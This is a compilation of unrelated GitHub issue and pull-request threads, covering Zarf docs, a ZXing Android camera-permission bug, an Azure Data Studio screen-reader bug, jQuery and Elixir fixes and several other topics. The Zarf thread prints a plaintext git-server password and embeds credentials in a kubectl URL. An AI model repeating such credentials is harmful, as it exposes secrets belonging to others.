[x] Whitelisting complete: https://app.safe.global/transactions/tx?id=multisig_0x06D63fb4f3F9B8235E71ff4AE82958a45B3dd4A8_0x4aa706a97e6114626e56043b36b5845972c69453c707a79098ddd8fc7e813907&safe=bnb%3A0x06D63fb4f3F9B8235E71ff4AE82958a45B3dd4A8, https://app.safe.global/transactions/tx?id=multisig_0x95e687bA2d2A791B0246d66bC4fbdD0457dCab19_0xcc271c2ee13d5261a3575fe64832a76b3109fcab41dc6e4b3cd71b092b829bbf&safe=matic%3A0x95e687bA2d2A791B0246d66bC4fbdD0457dCab19, https://app.safe.global/transactions/tx?id=multisig_0xf2964cCcB7CDA9e808aaBe8DB0DDDAF7890dd378_0xf37ab90345092f04182b6d98c5793256532d4dba66bdf7d9b4837228fc8c228f&safe=eth%3A0xf2964cCcB7CDA9e808aaBe8DB0DDDAF7890dd378
[ ] PR to Bridge UI: <link to PR>
[ ] PR to Connextscan: <link to PR>
[ ] xERC20s added to Connext registries: <link to transaction(s)>
[ ] Tracking sheet updated with xERC20 mapping: https://docs.google.com/spreadsheets/d/1_UL3OCR1Ms8dmqYpAIibihb90a8AtBfb6G9PuqKQStY
[ ] Slow path tested: <link to transfer(s)>
[ ] Router liquidity added and fast path tested: <link to transfer(s)>

Closing this out as they are up on UI


Doc update git-data - zarf tools get-admin-password has been replaced

Environment
Device and OS:
App version:
Kubernetes distro being used:
Other:
Steps to reproduce

https://docs.zarf.dev/examples/git-data/

zarf tools get-admin-password

NOTE  Using config file /Users/cmwylie19/zarf/zarf-config.toml
Collection of additional tools to make airgap easier

Usage:
  zarf tools [command]

Aliases:
  tools, t

Available Commands:
  archiver         Compresses/Decompresses generic archives, including Zarf packages
  clear-cache      Clears the configured git and image cache directory
  download-init    Downloads the init package for the current Zarf version into the specified directory
  gen-key          Generates a cosign public/private keypair that can be used to sign packages
  gen-pki          Generates a Certificate Authority and PKI chain of trust for the given host
  get-creds        Displays a Table of credentials for deployed components. Pass a component name to get a single credential
  kubectl          Kubectl command. See https://kubernetes.io/docs/reference/kubectl/overview/ for more information.
  monitor          Launches a terminal UI to monitor the connected cluster using K9s.
  registry         Tools for working with container registries using go-containertools
  sbom             Generates a Software Bill of Materials (SBOM) for the given package
  wait-for         Waits for a given Kubernetes resource to be ready

Flags:
  -h, --help   help for tools

Global Flags:
  -a, --architecture string   Architecture for OCI images and Zarf packages
      --insecure              Allow access to insecure registries and disable other recommended security enforcements such as package checksum and signature validation. This flag should only be used if you have a specific reason and accept the reduced security posture.
  -l, --log-level string      Log level when running Zarf. Valid options are: warn, info, debug, trace (default "info")
      --no-log-file           Disable log file creation
      --no-progress           Disable fancy UI progress bars, spinners, logos, etc
      --tmpdir string         Specify the temporary directory to use for intermediate files
      --zarf-cache string     Specify the location of the Zarf cache directory (default "~/.zarf-cache")

Use "zarf tools [command] --help" for more information about a command.

Expected result
zarf tools get-creds Git

output

 NOTE  Using config file /Users/cmwylie19/zarf/zarf-config.toml
  ✔  Waiting for cluster connection (30s timeout)

 NOTE  Git Server push password (username: zarf-git-user):
ORKmToG2Usr!1WG6uNG0NGFd

Actual Result
Visual Proof (screenshots, videos, text, etc)
Severity/Priority
Additional Context
Add any other context or screenshots about the technical debt here.

also the podinfo example has been removed from the cluster, im adding it back in
zarf tools kubectl apply -k http://zarf-git-user:$(zarf tools get-creds Git)@localhost:54824/zarf-git-user/podinfo-1646971829/kustomize

 NOTE  Using config file /Users/cmwylie19/zarf/zarf-config.toml
  ✔  Waiting for cluster connection (30s timeout)

 NOTE  Git Server push password (username: zarf-git-user):
service/podinfo created
deployment.apps/podinfo created
horizontalpodautoscaler.autoscaling/podinfo created


A0-4278: Change default finality version to current (for new chains)

Description
As per title
Type of change
Please delete options that are not relevant.

Bug fix (non-breaking change which fixes an issue)

Checklist
E2e tests: https://github.com/Cardinal-Cryptography/aleph-node/actions/runs/8814185206

It does not make sense to change default to current. Better to start new chain with legacy, and send set_finality_version instead.


jquery3: Fix compatibility with jQuery 3

Use JSON.parse() instead of $.parseJSON()
$.prop('required, false) instead of .removeAttr('required')

Definitely welcome. Any release date ?

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Project is unmaintained.


Add ExMachina.EctoPolymorphicEmbed

This is an attempt to make ExMachina work with polymorphic_embed following the lead of this comment.

I was using a local version of the same, and after updating my packages (unsure which caused it) I had to change
&match?({:parameterized, PolymorphicEmbed, _options}, schema.__schema__(:type, &1))

to
&match?({:parameterized, {PolymorphicEmbed, _options}}, schema.__schema__(:type, &1))

for the casting to work


A11y_Azure Data Studio_Nov2023_Database Properties Preview_Filegroups_ScreenReader: NVDA/JAWS announcing irrelevant information when we hit enter key to check the check box present in rows table.

"Please do not close this bug. This bug should only be closed by Trusted Tester after verification"
Check out Accessibility Insights! - Identify accessibility bugs before check-in and make bug fixing faster and easier.
Git hub Tags:
#A11yTCS; #A11yMAS; #A11ySev2; #DesktopApp; #WCAG1.3.1; #FTP; #SH_Azure Data Studio_Nov2023_Win32_Dec2023; #SQL Azure Data Studio; #Win32; #NVDA; #STP; #JAWS; #NonBenckmark;
Environment Details:
Application Name: Azure Data Studio
Operating System: Win11
Azure data studio 1.47.0
Jaws [2023.2212.23]
NVDA [2023.3.0]
Repro Steps:

Turn on NVDA screen reader
Install Azure data studio application and open it
Make sure to enable "Preview" feature in settings.
Tab till "Database" and press enter to expand the tree.
Tab till any database and pressF10 to open context menu.
Tab till "Properties Preview" and press enter.
Tab till "Filegroups" present in left navigation and press ENTER key
TAB till Rows table.
Press Right arrow key and navigate to check box and press Space key to select.
You will observe that incorrect role as combo box is given for "Enter new name" edit filed.

Actual Result:
NVDA announcing irrelevant information when we hit enter key to check the check box present in rows table.
Note: Issue also seen with Jaws.
Expected Result:
NVDA should announce as checked when we hit enter key to check the check box present in rows table.
User Impact:
Screen reader user will not get check box is check or not.
Attachment:
NVDA attachment
https://github.com/microsoft/azuredatastudio/assets/124254981/668b0801-c498-4dbf-be72-04172fa07d6d
JASW attachment
https://github.com/microsoft/azuredatastudio/assets/124254981/3d21f30e-5ee5-41ef-9b87-d60d6d4934f8
Code snippet

@kapilvaishna This issue has been fixed in the latest Windows Insiders build of ADS here: https://azuredatastudio-update.azurewebsites.net/latest/win32-x64-user/insider
Can you verify that the issue is resolved?

Issue is not repro in latest Windows Insiders build of ADS here: https://azuredatastudio-update.azurewebsites.net/latest/win32-x64-user/insider , So closing the bug.
NVDA fixed
https://github.com/microsoft/azuredatastudio/assets/124254981/9f8c6ba6-b59d-481f-986d-1f7161385fb5
Jaws Fixed
https://github.com/microsoft/azuredatastudio/assets/124254981/c1abf4a4-03d7-4c83-9cf9-d8dfd42a2435


Android - first scan never works, works only after permissions are given.

First; thanks for the great lib, your effort is appricated :+1:
First scan never works in android;
To reproduce;
-do a total uninstall of the app on device (remove previously given permissions)
-install the app using zxing.net.mobile
-try scanning a bar code.
-scanner/app asks for permissions, you grant permission 'allow'
-scanner appears, with active camera
-scanner does'nt pick up QR-code
-press back, or quit app
-try scanning again
-scanner/app doesnt ask for permission, because it was given before...
-scanner picks up the QR-code
-every next scan works as expected
Details;
-I use android 6.x (Nexus 9/Nexus 6p)
-I use zxing.net.mobile <IP_ADDRESS>
-Visual studio update 2
-Xamarin forms <IP_ADDRESS>29
-In my android manifest;
<uses-permission android:name="android.permission.CAMERA" />     <uses-permission android:name="android.permission.FLASHLIGHT" />
-In my mainactivity.cs I have;
ZXing.Net.Mobile.Forms.Android.Platform.Init();             ZXing.Mobile.MobileBarcodeScanner.Initialize(Application);
and also;
public override void OnRequestPermissionsResult(int requestCode, string[] permissions, Permission[] grantResults)         {             global::ZXing.Net.Mobile.Forms.Android.PermissionsHandler.OnRequestPermissionsResult(requestCode, permissions, grantResults);         }
-In my view;
private ZXingScannerPage scanPage;
`try
{
scanPage = new ZXingScannerPage(new ZXing.Mobile.MobileBarcodeScanningOptions { AutoRotate = false, TryHarder = true, PossibleFormats = new List<ZXing.BarcodeFormat> { ZXing.BarcodeFormat.QR_CODE } });
scanPage.OnScanResult += (result) =>
{
scanPage.IsScanning = false;
                Device.BeginInvokeOnMainThread(() =>
                {
                    Navigation.PopAsync();
                    textKey.Text = result.Text;
                });
            };

            await Navigation.PushAsync(scanPage);
        } catch { textKey.Text = "error scanning..."; }`

-juist did a test with an 'old' Android Galaxy Nexus Api level 19, problem does not occour there.
So I suspect, is has to do with the new way of asking permissions...

Fixed in master and will be released soon.

@Redth  I'm running into this exact same thing on 2.4.1.
Here's my scanning page
public class BarcodeScanningPage : FirebaseContentPage, IPageNavigation
    {
        ZXingScannerView ZXingView { get; set; }
        ZXingDefaultOverlay Overlay { get; set; }

        public BarcodeScanningPage() : base()
        {
            Title = "Scanning...";

            ZXingView = new ZXingScannerView
            {
                HorizontalOptions = LayoutOptions.FillAndExpand,
                VerticalOptions = LayoutOptions.FillAndExpand,
                AutomationId = "zxingScannerView",
                Options = new ZXing.Mobile.MobileBarcodeScanningOptions()
                {
                    PossibleFormats = new List<ZXing.BarcodeFormat>() {
                        ZXing.BarcodeFormat.CODE_39, ZXing.BarcodeFormat.QR_CODE
                    }
                }
            };
            ZXingView.OnScanResult += (result) => Device.BeginInvokeOnMainThread(async () =>
            {
                // Stop analysis until we navigate away so we don't keep reading barcodes
                ZXingView.IsAnalyzing = false;

                await NavigationHelper.PushAsync(new SearchResultsPage(new ApiModels.SearchItemsParams()
                {
                    Keyword = result.Text,
                    ResultsPerPage = App.AppConfig.SearchResultsPerPage
                }, result.Text, true));

                //await NavigationHelper.PopAsync();
            });

            Overlay = new ZXingDefaultOverlay()
            {
                BottomText = "Scan Barcodes or QR Codes",
                ShowFlashButton = ZXingView.HasTorch,
                AutomationId = "zxingDefaultOverlay",
            };
            Overlay.FlashButtonClicked += (sender, e) =>
            {
                ZXingView.IsTorchOn = !ZXingView.IsTorchOn;
            };
            var grid = new Grid()
            {
                VerticalOptions = LayoutOptions.FillAndExpand,
                HorizontalOptions = LayoutOptions.FillAndExpand,
            };
            grid.Children.Add(ZXingView);
            grid.Children.Add(Overlay);

            // The root page of your application
            Content = grid;
        }

        protected override void OnAppearing()
        {
            base.OnAppearing();

            ZXingView.IsScanning = true;
        }

        protected override void OnDisappearing()
        {
            ZXingView.IsScanning = false;

            base.OnDisappearing();
        }
}

Any ideas how I might get around this? Thanks! Great plugin.

I am experiencing the same problem on Android.  My PCL project (for iOS and Android) is built with Xamarin Forms and ZXing Mobile (versions below).  First scan after granting cameral permissions on Android does not work (continues to scan without recognizing QR Code).  Tapping "Back" (to cancel scan) and then scanning again works.  All subsequent scans work without problems. Problem is easily duplicated by removing and reinstalling the app on Android.  Problem does not happen on iOS.
My development environment is as follows:

Xamarin.Mac Version: <IP_ADDRESS> (Visual Studio Community) Build date: 2018-09-27 11:41:37-0400
Xamarin.iOS Version: <IP_ADDRESS> (Visual Studio Community) Build date: 2018-09-17 21:54:33-0400
Xamarin.Android Version: <IP_ADDRESS> (Visual Studio Community)
Visual Studio Community 2017 for Mac Version 7.6.9 (build 22)
ZXing.Net.Mobile Version 2.4.1
ZXing.Net.Mobile.Forms Version 2.4.1
Operating System Mac OS X 10.13.6

@riyasv The reason you run into this issue is because camera permissions are being checked after the scanner is already initialized.  Check permissions before ever initializing the scanner and this won't happen.
Here is the code I use:
private async Task<bool> CheckCameraPermissionOtherwiseItWontWorkOnFirstUse()
        {
            try
            {
                var status = await CrossPermissions.Current.CheckPermissionStatusAsync(Permission.Camera);
                if (status != PermissionStatus.Granted)
                {
                    if (await CrossPermissions.Current.ShouldShowRequestPermissionRationaleAsync(Permission.Camera))
                    {
                        //await DisplayAlert("Need location", "Gunna need that location", "OK");
                        await dialogService.ShowMessage("Need Camera", "We need camera for this function to work.", "OK", null);
                    }

                    var results = await CrossPermissions.Current.RequestPermissionsAsync(Permission.Camera);
                    //Best practice to always check that the key exists
                    if (results.ContainsKey(Permission.Camera))
                        status = results[Permission.Camera];
                }

                if (status == PermissionStatus.Granted)
                {
                    return true;
                }
                else if (status != PermissionStatus.Unknown)
                {
                    await dialogService.ShowMessage( "This function doesn't work without camera permissions being enabled.", "Need Camera", "OK", null);
                    return false;
                }
            }
            catch (Exception ex)
            {
                Crashes.TrackError(ex);
                await dialogService.ShowError(ex, "Error setting camera permission", "OK", null);
                return false;
            }
            return false;
        }


feat(cli): allow creating account keys for future transaction signing

Description
Adds accounts new command
Moved command handlers into own file
Motivation and Context
How Has This Been Tested?

utACK

utAck
(does this count?)

utAck
(does this count?)

"ack" Must be all caps -> utACK
Also LGTM, 👍 work

Changes from this PR were included in #93 - closing


adds custom imap and smtp ports when selecting "Other"

This fixes #120 by adding an option in the dropdown for port saying "Other". When selected, it shows an input field for the custom port number

It seems when I edit an IMAP account, none of the settings other than my name and email on the first window are auto-entered. Even the server/username fields were blank. EVEN if they were auto populated using the existing configuration, the code I propose would not be smart enough to select the Other item in the dropdown and fill the text box
I consider this okay since the other fields are not populated? Could be another issue to populate them in which the Other field would need to be fixed to do such (or ignored).
Another weird note due to react smartness is that if a user inputs a number in the custom field that is in the dropdown, it selects that item in the dropdown (in this case, it doesnt hide the text box - the desired behavior in this case)


example?

Are there any instructions on how to use capistrano-copy-files to, for example, pre-copy a composer-installed vendors directory into the new release?

does this work?? Are there any examples of how a generic vendors directory would in fact be configured in a capistrano3 config/deploy.rb file, to be copied?